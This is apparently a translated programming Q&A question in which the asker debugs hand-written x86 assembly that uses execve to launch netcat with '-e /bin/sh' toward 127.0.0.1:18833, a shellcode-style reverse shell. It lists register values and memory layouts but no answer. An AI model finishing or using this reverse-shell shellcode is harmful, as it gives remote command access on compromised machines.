【发布时间】:2017-07-29 13:05:04
【问题描述】:
我正在编写一个汇编程序,它需要调用 netcat 并通过 Internet 执行程序。
据我了解,对于 execve 命令,您将 EBX 寄存器指向您要运行的程序,最后以空字节终止。您将 ECX 寄存器指向由空字节分隔的参数,在 args 列表的末尾有 2 个空字节。您只需将 EDX 设置为一堆空字节。
在我的命令 int0x80 执行命令时,我的寄存器如下所示:
Eax : 11 #系统调用
EBX: 0x0783140 #/bin//nc
ECX:0x078314a #args
EDX: 0x07831a4 #env
这是ASCII中0x0783140处内存的值:
[空字节] = 0x00
/bin//nc[空字节]127.0.0.1[空字节]18833[空字节]-e[空字节]/bin/sh[空字节][空字节]
EBX 指向 '/bin//nc'
ECX 指向“127.0.0.1”
RDX 只是指向一堆空字节
程序将调用 int 0x80,但它会立即返回并将 0xfffffff2 放入 EAX 寄存器中。
任何帮助都会很棒。
编辑:感谢 ehemient,我现在能够实际运行 netcat,但不知何故,我认为我的 args 没有被程序正确读取。我认为这是因为 netcat 运行但立即以退出代码 1 退出,并且没有与我的侦听器建立连接。
ecx 现在在内存中指向这个(注意我在地址之间放置了空格以方便阅读,但它们在我的程序中不存在):
0x78315e 0x783168 0x78316e 0x783171 0x00000000
0x78315e => 127.0.0.1[Null Byte]
0x783168 => 18833[Null Byte]
0x78316e => -e[Null Byte]
0x783171 => /root/myprogram[Null Byte]
我已经四次检查地址实际上指向上面的 askii 值
【问题讨论】: